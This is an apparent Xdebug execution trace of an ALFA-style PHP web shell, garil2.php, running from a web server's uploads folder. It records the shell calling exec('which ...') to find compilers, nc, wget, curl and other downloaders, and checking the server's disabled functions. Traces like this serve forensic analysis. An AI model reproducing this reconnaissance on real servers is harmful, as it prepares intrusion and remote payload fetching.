7	372	0	0.146185	2815864	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[]
7	372	1	0.146200	2815928
7	372	R			''
6		A						/var/www/html/uploads/garil2.php	759	$out = ''
6	369	1	0.146226	2815784
6	369	R			''
5		A						/var/www/html/uploads/garil2.php	740	$data = ''
5	368	1	0.146249	2815784
5	368	R			''
4		A						/var/www/html/uploads/garil2.php	2400	$path = ''
4	367	1	0.146272	2815744
4	367	R			FALSE
4	373	0	0.146285	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1151	1	'cc'
5	374	0	0.146299	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which cc'	FALSE	FALSE	???
6	375	0	0.146313	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which cc'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	376	0	0.146337	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	376	1	0.146351	2815824
7	376	R			TRUE
7	377	0	0.146364	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which cc'	''
7	377	1	0.147500	2816328
7	377	R			'/usr/bin/cc'
7	378	0	0.147522	2816224	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[0 => '/usr/bin/cc']
7	378	1	0.147539	2816288
7	378	R			'/usr/bin/cc'
6		A						/var/www/html/uploads/garil2.php	759	$out = '/usr/bin/cc'
6	375	1	0.147571	2815824
6	375	R			'/usr/bin/cc'
5		A						/var/www/html/uploads/garil2.php	740	$data = '/usr/bin/cc'
5	374	1	0.147596	2815824
5	374	R			'/usr/bin/cc'
4		A						/var/www/html/uploads/garil2.php	2400	$path = '/usr/bin/cc'
4	373	1	0.147621	2815744
4	373	R			11
3		A						/var/www/html/uploads/garil2.php	1151	$x++
4	379	0	0.147644	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1151	1	'ld'
5	380	0	0.147658	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which ld'	FALSE	FALSE	???
6	381	0	0.147672	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which ld'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	382	0	0.147696	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	382	1	0.147709	2815824
7	382	R			TRUE
7	383	0	0.147722	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which ld'	''
7	383	1	0.148912	2816328
7	383	R			'/usr/bin/ld'
7	384	0	0.148937	2816224	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[0 => '/usr/bin/ld']
7	384	1	0.148953	2816288
7	384	R			'/usr/bin/ld'
6		A						/var/www/html/uploads/garil2.php	759	$out = '/usr/bin/ld'
6	381	1	0.148980	2815824
6	381	R			'/usr/bin/ld'
5		A						/var/www/html/uploads/garil2.php	740	$data = '/usr/bin/ld'
5	380	1	0.149006	2815824
5	380	R			'/usr/bin/ld'
4		A						/var/www/html/uploads/garil2.php	2400	$path = '/usr/bin/ld'
4	379	1	0.149036	2815744
4	379	R			11
3		A						/var/www/html/uploads/garil2.php	1151	$x++
4	385	0	0.149060	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1151	1	'make'
5	386	0	0.149074	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which make'	FALSE	FALSE	???
6	387	0	0.149088	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which make'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	388	0	0.149112	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	388	1	0.149126	2815824
7	388	R			TRUE
7	389	0	0.149138	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which make'	''
7	389	1	0.150339	2816328
7	389	R			'/usr/bin/make'
7	390	0	0.150363	2816224	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[0 => '/usr/bin/make']
7	390	1	0.150380	2816288
7	390	R			'/usr/bin/make'
6		A						/var/www/html/uploads/garil2.php	759	$out = '/usr/bin/make'
6	387	1	0.150407	2815824
6	387	R			'/usr/bin/make'
5		A						/var/www/html/uploads/garil2.php	740	$data = '/usr/bin/make'
5	386	1	0.150432	2815824
5	386	R			'/usr/bin/make'
4		A						/var/www/html/uploads/garil2.php	2400	$path = '/usr/bin/make'
4	385	1	0.150456	2815744
4	385	R			13
3		A						/var/www/html/uploads/garil2.php	1151	$x++
4	391	0	0.150479	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1151	1	'php'
5	392	0	0.150493	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which php'	FALSE	FALSE	???
6	393	0	0.150507	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which php'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	394	0	0.150531	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	394	1	0.150544	2815824
7	394	R			TRUE
7	395	0	0.150557	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which php'	''
7	395	1	0.151735	2816328
7	395	R			'/usr/bin/php'
7	396	0	0.151758	2816224	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[0 => '/usr/bin/php']
7	396	1	0.151775	2816288
7	396	R			'/usr/bin/php'
6		A						/var/www/html/uploads/garil2.php	759	$out = '/usr/bin/php'
6	393	1	0.151802	2815824
6	393	R			'/usr/bin/php'
5		A						/var/www/html/uploads/garil2.php	740	$data = '/usr/bin/php'
5	392	1	0.151828	2815824
5	392	R			'/usr/bin/php'
4		A						/var/www/html/uploads/garil2.php	2400	$path = '/usr/bin/php'
4	391	1	0.151857	2815744
4	391	R			12
3		A						/var/www/html/uploads/garil2.php	1151	$x++
4	397	0	0.151881	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1151	1	'perl'
5	398	0	0.151895	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which perl'	FALSE	FALSE	???
6	399	0	0.151909	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which perl'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	400	0	0.151934	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	400	1	0.151947	2815824
7	400	R			TRUE
7	401	0	0.151960	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which perl'	''
7	401	1	0.153152	2816328
7	401	R			'/usr/bin/perl'
7	402	0	0.153177	2816224	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[0 => '/usr/bin/perl']
7	402	1	0.153193	2816288
7	402	R			'/usr/bin/perl'
6		A						/var/www/html/uploads/garil2.php	759	$out = '/usr/bin/perl'
6	399	1	0.153220	2815824
6	399	R			'/usr/bin/perl'
5		A						/var/www/html/uploads/garil2.php	740	$data = '/usr/bin/perl'
5	398	1	0.153246	2815824
5	398	R			'/usr/bin/perl'
4		A						/var/www/html/uploads/garil2.php	2400	$path = '/usr/bin/perl'
4	397	1	0.153270	2815744
4	397	R			13
3		A						/var/www/html/uploads/garil2.php	1151	$x++
4	403	0	0.153294	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1151	1	'python'
5	404	0	0.153308	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which python'	FALSE	FALSE	???
6	405	0	0.153321	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which python'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	406	0	0.153346	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	406	1	0.153359	2815824
7	406	R			TRUE
7	407	0	0.153372	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which python'	''
7	407	1	0.154556	2815928
7	407	R			''
7	408	0	0.154578	2815864	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[]
7	408	1	0.154594	2815928
7	408	R			''
6		A						/var/www/html/uploads/garil2.php	759	$out = ''
6	405	1	0.154619	2815784
6	405	R			''
5		A						/var/www/html/uploads/garil2.php	740	$data = ''
5	404	1	0.154643	2815784
5	404	R			''
4		A						/var/www/html/uploads/garil2.php	2400	$path = ''
4	403	1	0.154666	2815744
4	403	R			FALSE
4	409	0	0.154679	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1151	1	'ruby'
5	410	0	0.154693	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which ruby'	FALSE	FALSE	???
6	411	0	0.154707	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which ruby'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	412	0	0.154731	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	412	1	0.154744	2815824
7	412	R			TRUE
7	413	0	0.154757	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which ruby'	''
7	413	1	0.155946	2815928
7	413	R			''
7	414	0	0.155968	2815864	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[]
7	414	1	0.155984	2815928
7	414	R			''
6		A						/var/www/html/uploads/garil2.php	759	$out = ''
6	411	1	0.156009	2815784
6	411	R			''
5		A						/var/www/html/uploads/garil2.php	740	$data = ''
5	410	1	0.156033	2815784
5	410	R			''
4		A						/var/www/html/uploads/garil2.php	2400	$path = ''
4	409	1	0.156056	2815744
4	409	R			FALSE
4	415	0	0.156069	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1151	1	'tar'
5	416	0	0.156082	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which tar'	FALSE	FALSE	???
6	417	0	0.156097	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which tar'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	418	0	0.156121	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	418	1	0.156135	2815824
7	418	R			TRUE
7	419	0	0.156153	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which tar'	''
7	419	1	0.157409	2816328
7	419	R			'/usr/bin/tar'
7	420	0	0.157434	2816224	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[0 => '/usr/bin/tar']
7	420	1	0.157450	2816288
7	420	R			'/usr/bin/tar'
6		A						/var/www/html/uploads/garil2.php	759	$out = '/usr/bin/tar'
6	417	1	0.157477	2815824
6	417	R			'/usr/bin/tar'
5		A						/var/www/html/uploads/garil2.php	740	$data = '/usr/bin/tar'
5	416	1	0.157501	2815824
5	416	R			'/usr/bin/tar'
4		A						/var/www/html/uploads/garil2.php	2400	$path = '/usr/bin/tar'
4	415	1	0.157525	2815744
4	415	R			12
3		A						/var/www/html/uploads/garil2.php	1151	$x++
4	421	0	0.157549	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1151	1	'gzip'
5	422	0	0.157562	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which gzip'	FALSE	FALSE	???
6	423	0	0.157576	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which gzip'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	424	0	0.157600	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	424	1	0.157614	2815824
7	424	R			TRUE
7	425	0	0.157627	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which gzip'	''
7	425	1	0.158823	2816328
7	425	R			'/usr/bin/gzip'
7	426	0	0.158847	2816224	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[0 => '/usr/bin/gzip']
7	426	1	0.158864	2816288
7	426	R			'/usr/bin/gzip'
6		A						/var/www/html/uploads/garil2.php	759	$out = '/usr/bin/gzip'
6	423	1	0.158891	2815824
6	423	R			'/usr/bin/gzip'
5		A						/var/www/html/uploads/garil2.php	740	$data = '/usr/bin/gzip'
5	422	1	0.158917	2815824
5	422	R			'/usr/bin/gzip'
4		A						/var/www/html/uploads/garil2.php	2400	$path = '/usr/bin/gzip'
4	421	1	0.158941	2815744
4	421	R			13
3		A						/var/www/html/uploads/garil2.php	1151	$x++
4	427	0	0.158965	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1151	1	'bzip'
5	428	0	0.158979	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which bzip'	FALSE	FALSE	???
6	429	0	0.158993	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which bzip'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	430	0	0.159017	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	430	1	0.159030	2815824
7	430	R			TRUE
7	431	0	0.159044	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which bzip'	''
7	431	1	0.160229	2815928
7	431	R			''
7	432	0	0.160251	2815864	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[]
7	432	1	0.160267	2815928
7	432	R			''
6		A						/var/www/html/uploads/garil2.php	759	$out = ''
6	429	1	0.160292	2815784
6	429	R			''
5		A						/var/www/html/uploads/garil2.php	740	$data = ''
5	428	1	0.160315	2815784
5	428	R			''
4		A						/var/www/html/uploads/garil2.php	2400	$path = ''
4	427	1	0.160338	2815744
4	427	R			FALSE
4	433	0	0.160351	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1151	1	'bzialfa2'
5	434	0	0.160365	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which bzialfa2'	FALSE	FALSE	???
6	435	0	0.160380	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which bzialfa2'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	436	0	0.160404	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	436	1	0.160417	2815824
7	436	R			TRUE
7	437	0	0.160430	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which bzialfa2'	''
7	437	1	0.161625	2815928
7	437	R			''
7	438	0	0.161648	2815864	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[]
7	438	1	0.161663	2815928
7	438	R			''
6		A						/var/www/html/uploads/garil2.php	759	$out = ''
6	435	1	0.161688	2815784
6	435	R			''
5		A						/var/www/html/uploads/garil2.php	740	$data = ''
5	434	1	0.161712	2815784
5	434	R			''
4		A						/var/www/html/uploads/garil2.php	2400	$path = ''
4	433	1	0.161740	2815744
4	433	R			FALSE
4	439	0	0.161753	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1151	1	'nc'
5	440	0	0.161767	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which nc'	FALSE	FALSE	???
6	441	0	0.161781	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which nc'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	442	0	0.161805	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	442	1	0.161818	2815824
7	442	R			TRUE
7	443	0	0.161831	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which nc'	''
7	443	1	0.163038	2816328
7	443	R			'/usr/bin/nc'
7	444	0	0.163062	2816224	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[0 => '/usr/bin/nc']
7	444	1	0.163078	2816288
7	444	R			'/usr/bin/nc'
6		A						/var/www/html/uploads/garil2.php	759	$out = '/usr/bin/nc'
6	441	1	0.163105	2815824
6	441	R			'/usr/bin/nc'
5		A						/var/www/html/uploads/garil2.php	740	$data = '/usr/bin/nc'
5	440	1	0.163130	2815824
5	440	R			'/usr/bin/nc'
4		A						/var/www/html/uploads/garil2.php	2400	$path = '/usr/bin/nc'
4	439	1	0.163154	2815744
4	439	R			11
3		A						/var/www/html/uploads/garil2.php	1151	$x++
4	445	0	0.163178	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1151	1	'locate'
5	446	0	0.163191	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which locate'	FALSE	FALSE	???
6	447	0	0.163205	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which locate'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	448	0	0.163230	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	448	1	0.163243	2815824
7	448	R			TRUE
7	449	0	0.163256	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which locate'	''
7	449	1	0.164443	2815928
7	449	R			''
7	450	0	0.164486	2815864	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[]
7	450	1	0.164501	2815928
7	450	R			''
6		A						/var/www/html/uploads/garil2.php	759	$out = ''
6	447	1	0.164527	2815784
6	447	R			''
5		A						/var/www/html/uploads/garil2.php	740	$data = ''
5	446	1	0.164551	2815784
5	446	R			''
4		A						/var/www/html/uploads/garil2.php	2400	$path = ''
4	445	1	0.164573	2815744
4	445	R			FALSE
4	451	0	0.164587	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1151	1	'suidperl'
5	452	0	0.164600	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which suidperl'	FALSE	FALSE	???
6	453	0	0.164615	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which suidperl'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	454	0	0.164639	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	454	1	0.164652	2815824
7	454	R			TRUE
7	455	0	0.164665	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which suidperl'	''
7	455	1	0.165856	2815928
7	455	R			''
7	456	0	0.165879	2815864	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[]
7	456	1	0.165894	2815928
7	456	R			''
6		A						/var/www/html/uploads/garil2.php	759	$out = ''
6	453	1	0.165919	2815784
6	453	R			''
5		A						/var/www/html/uploads/garil2.php	740	$data = ''
5	452	1	0.165943	2815784
5	452	R			''
4		A						/var/www/html/uploads/garil2.php	2400	$path = ''
4	451	1	0.165966	2815744
4	451	R			FALSE
3		A						/var/www/html/uploads/garil2.php	1157	$downloaders = [0 => 'wget', 1 => 'fetch', 2 => 'lynx', 3 => 'links', 4 => 'curl', 5 => 'get', 6 => 'lwp-mirror']
3		A						/var/www/html/uploads/garil2.php	1158	$x = 0
4	457	0	0.166010	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1159	1	'wget'
5	458	0	0.166023	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which wget'	FALSE	FALSE	???
6	459	0	0.166037	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which wget'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	460	0	0.166067	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	460	1	0.166081	2815824
7	460	R			TRUE
7	461	0	0.166094	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which wget'	''
7	461	1	0.167258	2816328
7	461	R			'/usr/bin/wget'
7	462	0	0.167283	2816224	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[0 => '/usr/bin/wget']
7	462	1	0.167299	2816288
7	462	R			'/usr/bin/wget'
6		A						/var/www/html/uploads/garil2.php	759	$out = '/usr/bin/wget'
6	459	1	0.167326	2815824
6	459	R			'/usr/bin/wget'
5		A						/var/www/html/uploads/garil2.php	740	$data = '/usr/bin/wget'
5	458	1	0.167351	2815824
5	458	R			'/usr/bin/wget'
4		A						/var/www/html/uploads/garil2.php	2400	$path = '/usr/bin/wget'
4	457	1	0.167376	2815744
4	457	R			13
3		A						/var/www/html/uploads/garil2.php	1159	$x++
4	463	0	0.167400	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1159	1	'fetch'
5	464	0	0.167414	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which fetch'	FALSE	FALSE	???
6	465	0	0.167429	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which fetch'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	466	0	0.167453	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	466	1	0.167466	2815824
7	466	R			TRUE
7	467	0	0.167479	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which fetch'	''
7	467	1	0.168616	2815928
7	467	R			''
7	468	0	0.168639	2815864	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[]
7	468	1	0.168655	2815928
7	468	R			''
6		A						/var/www/html/uploads/garil2.php	759	$out = ''
6	465	1	0.168680	2815784
6	465	R			''
5		A						/var/www/html/uploads/garil2.php	740	$data = ''
5	464	1	0.168704	2815784
5	464	R			''
4		A						/var/www/html/uploads/garil2.php	2400	$path = ''
4	463	1	0.168726	2815744
4	463	R			FALSE
4	469	0	0.168740	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1159	1	'lynx'
5	470	0	0.168754	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which lynx'	FALSE	FALSE	???
6	471	0	0.168768	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which lynx'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	472	0	0.168793	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	472	1	0.168806	2815824
7	472	R			TRUE
7	473	0	0.168819	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which lynx'	''
7	473	1	0.170015	2815928
7	473	R			''
7	474	0	0.170037	2815864	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[]
7	474	1	0.170053	2815928
7	474	R			''
6		A						/var/www/html/uploads/garil2.php	759	$out = ''
6	471	1	0.170077	2815784
6	471	R			''
5		A						/var/www/html/uploads/garil2.php	740	$data = ''
5	470	1	0.170101	2815784
5	470	R			''
4		A						/var/www/html/uploads/garil2.php	2400	$path = ''
4	469	1	0.170124	2815744
4	469	R			FALSE
4	475	0	0.170138	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1159	1	'links'
5	476	0	0.170151	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which links'	FALSE	FALSE	???
6	477	0	0.170166	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which links'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	478	0	0.170190	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	478	1	0.170204	2815824
7	478	R			TRUE
7	479	0	0.170216	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which links'	''
7	479	1	0.171411	2815928
7	479	R			''
7	480	0	0.171434	2815864	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[]
7	480	1	0.171449	2815928
7	480	R			''
6		A						/var/www/html/uploads/garil2.php	759	$out = ''
6	477	1	0.171474	2815784
6	477	R			''
5		A						/var/www/html/uploads/garil2.php	740	$data = ''
5	476	1	0.171502	2815784
5	476	R			''
4		A						/var/www/html/uploads/garil2.php	2400	$path = ''
4	475	1	0.171526	2815744
4	475	R			FALSE
4	481	0	0.171539	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1159	1	'curl'
5	482	0	0.171553	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which curl'	FALSE	FALSE	???
6	483	0	0.171567	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which curl'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	484	0	0.171591	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	484	1	0.171604	2815824
7	484	R			TRUE
7	485	0	0.171617	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which curl'	''
7	485	1	0.172853	2816328
7	485	R			'/usr/bin/curl'
7	486	0	0.172878	2816224	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[0 => '/usr/bin/curl']
7	486	1	0.172895	2816288
7	486	R			'/usr/bin/curl'
6		A						/var/www/html/uploads/garil2.php	759	$out = '/usr/bin/curl'
6	483	1	0.172922	2815824
6	483	R			'/usr/bin/curl'
5		A						/var/www/html/uploads/garil2.php	740	$data = '/usr/bin/curl'
5	482	1	0.172947	2815824
5	482	R			'/usr/bin/curl'
4		A						/var/www/html/uploads/garil2.php	2400	$path = '/usr/bin/curl'
4	481	1	0.172971	2815744
4	481	R			13
3		A						/var/www/html/uploads/garil2.php	1159	$x++
4	487	0	0.172995	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1159	1	'get'
5	488	0	0.173008	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which get'	FALSE	FALSE	???
6	489	0	0.173022	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which get'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	490	0	0.173052	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	490	1	0.173066	2815824
7	490	R			TRUE
7	491	0	0.173079	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which get'	''
7	491	1	0.174219	2815928
7	491	R			''
7	492	0	0.174242	2815864	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[]
7	492	1	0.174257	2815928
7	492	R			''
6		A						/var/www/html/uploads/garil2.php	759	$out = ''
6	489	1	0.174282	2815784
6	489	R			''
5		A						/var/www/html/uploads/garil2.php	740	$data = ''
5	488	1	0.174305	2815784
5	488	R			''
4		A						/var/www/html/uploads/garil2.php	2400	$path = ''
4	487	1	0.174328	2815744
4	487	R			FALSE
4	493	0	0.174342	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1159	1	'lwp-mirror'
5	494	0	0.174355	2815792	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which lwp-mirror'	FALSE	FALSE	???
6	495	0	0.174371	2815792	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which lwp-mirror'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	496	0	0.174395	2815792	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	496	1	0.174408	2815832
7	496	R			TRUE
7	497	0	0.174421	2815816	exec	0		/var/www/html/uploads/garil2.php	758	2	'which lwp-mirror'	''
7	497	1	0.175581	2816352
7	497	R			'/usr/bin/lwp-mirror'
7	498	0	0.175605	2816240	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[0 => '/usr/bin/lwp-mirror']
7	498	1	0.175622	2816304
7	498	R			'/usr/bin/lwp-mirror'
6		A						/var/www/html/uploads/garil2.php	759	$out = '/usr/bin/lwp-mirror'
6	495	1	0.175650	2815840
6	495	R			'/usr/bin/lwp-mirror'
5		A						/var/www/html/uploads/garil2.php	740	$data = '/usr/bin/lwp-mirror'
5	494	1	0.175675	2815840
5	494	R			'/usr/bin/lwp-mirror'
4		A						/var/www/html/uploads/garil2.php	2400	$path = '/usr/bin/lwp-mirror'
4	493	1	0.175700	2815744
4	493	R			19
3		A						/var/www/html/uploads/garil2.php	1159	$x++
4	499	0	0.175725	2815744	function_exists	0		/var/www/html/uploads/garil2.php	1177	1	'get_magic_quotes_gpc'
4	499	1	0.175739	2815784
4	499	R			TRUE
4	500	0	0.175752	2815744	get_magic_quotes_gpc	0		/var/www/html/uploads/garil2.php	1177	0
4	500	1	0.175769	2815744
4	500	R			FALSE
3		A						/var/www/html/uploads/garil2.php	1177	$quotes = FALSE
3		A						/var/www/html/uploads/garil2.php	1177	$magic = '<span class="header_off">OFF</span>'
4	501	0	0.175806	2815744	Alfa_GetDisable_Function	1		/var/www/html/uploads/garil2.php	1179	0
5	502	0	0.175820	2815744	ini_get	0		/var/www/html/uploads/garil2.php	913	1	'disable_functions'
5	502	1	0.175833	2816224
5	502	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4		A						/var/www/html/uploads/garil2.php	913	$disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4		A						/var/www/html/uploads/garil2.php	914	$afa = '<span class="header_show_all">All Functions Accessible</span>'
